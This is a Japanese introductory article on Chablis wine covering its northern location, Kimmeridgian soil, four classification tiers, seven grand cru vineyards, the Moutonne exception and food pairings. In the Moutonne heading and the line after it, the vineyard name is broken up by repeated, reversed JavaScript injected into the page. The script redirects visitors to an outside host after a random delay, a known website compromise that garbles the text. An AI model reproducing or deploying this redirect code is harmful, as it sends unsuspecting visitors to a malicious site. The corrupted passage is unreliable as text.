ブルゴーニュワインの「シャブリ」の基本知識
シャブリは北海道とほぼ同じ北緯!?
シャブリ(Chablis)はパリから南東170kmに位置し、ブルゴーニュ地方の最も北にあります。
シャブリは北緯48度、北海道の北緯43度よりも高い位置にあります。北緯の位置からも冷涼な地域で、冷涼な故に、辛口の酸のキリっとしたワインを生むのが特長です。
シャブリを代表するのは、辛口の白ワインです。地区名がそのままワイン名になっています。
シャブリの土壌のキンメリッジ階(粘土の中にキンメリッジの石灰岩が混ざった土壌)は、牡蠣や貝殻、 ジュラ紀の海洋生物の化石を多く含み、ミネラルが豊富だと言われています。キンメリッジ階は、キンメリジャンとも呼ばれます。
このキンメリッジがシャルドネには最適と言われています。
シャブリ地区では、シャルドネをボーノワ(Beaunois)とも呼びます。
シャブリの4つのの格付け
シャブリには畑の産地によって、以下の4つの格付けに分かれます。
・特級畑:シャブリ・グラン・クリュ/Chablis Grand Crus
・一級畑:シャブリ・プルミエ・クリュ/Chablis Premier Crus
・一般畑:シャブリ/Chablis
・最下畑:プティ・シャブリ/Petit Chablis
特級のグラン・クリュは、7つの畑があります。栽培面積は合計約100haです。一級のプルミエ・クリュは40の畑が名乗ることが出来ます。
ノーマルのChablisは、シャブリらしいと言われるスタンダードクラスになります。最下層のプティ・シャブリは最も軽快でカジュアルでお手頃なシャブリになります。土壌はキンメリッジ階ではなく、ポートラディアンというキンメリッジ階に近質の土地になります。
グランクリュになると10年~15年、プルミエクリュは5年~10年、熟成させて飲み頃を迎えるようなワインになります。
シャブリの7つの特級畑
ブランショ/Blanchot…全部の特級の中で最も繊細なワインを生みます。
ブーグロ/Bougros…最も西側にある特級畑です。
レ・クロ/Les Clos…面積が特急畑の中で最大のため、最も有名な特急畑になっています。
グルヌイユ/Grenouilles…カエルという名前の畑です。シャブリ特級の中で最小の畑です。
レ・プリューズ/Les Preuses…グラン・クリュ群の最上部に位置し、より冷涼なため、キレのあるシャープなワインを生み出します。
ヴァルミュール/Valmur…華やかなワインを生み出す畑として知られています。
ヴォーデジール/Vaudesir…やや南向きの斜面でブドウが育ち、日当たりが良くなるので、力強いワインを生み出します。
特級じゃない特級ムートンヌ/Moutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonne
ムートンヌ/Moutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonneは、シトー会が長く保有していた由緒ある畑として、グランクリュではないにも関わらずラベルに「グランクリュ」と表記することが認められている例外的な産地です。
シトー会とは、カトリック教会に属する修道会で、1098年、ブルゴーニュ地方出身の修道士モレームのロベールが設立しました。
ムートンヌは、グランクリュであるヴォーデジール/Vaudesirとレ・プリューズ/Les Preusesに跨っており、高い品質のシャブリを輩出します。
シャブリには和食がよく合うと言われています!
これまでお伝えしてきましたが、シャブリは、牡蠣や貝殻、 ジュラ紀の海洋生物の化石を多く含むキンメリッジ階で造られ、冷涼な気候のため、ミネラルが豊富でキリットとした辛口の白ワインが造られます。
このミネラルが和食にぴったりとされる所以です。
生牡蠣、お寿司、寄せ鍋、 川魚のフライ、いわしの網焼き、、お寿司、お刺身、天ぷらなど、和の魚料理によく合います。
ムール貝、魚のタルタル、活えびや焼いたエビ、あるいはソースを使った小エビ、鮮魚のカルパッチョ、フィッシュ&チップス、魚介のムニエルやグラタンなど幅広く合わせることができます。
最もカジュアルなランクのプティ・シャブリ/Petit Chablisは、卵料理やオムレツなどの少し重ための料理に合わせることで、料理をソフトなまろやかさにしてくれます。
ノーマルのシャブリ/Chablisのワインは、感覚を目覚めさせ、味覚をも刺激するため、本格的な食事やパーティーがスタートする前の、アペリティフ(食前酒)によく適しています。カレーやタンドリー料理などのスパイシーなエスニック料理とも相性抜群です。
シャブリ・グラン・クリュ/Chablis Grand Cruは、格調高いフォアグラ、クリームソースで食べる高級魚などの高級料理に合います。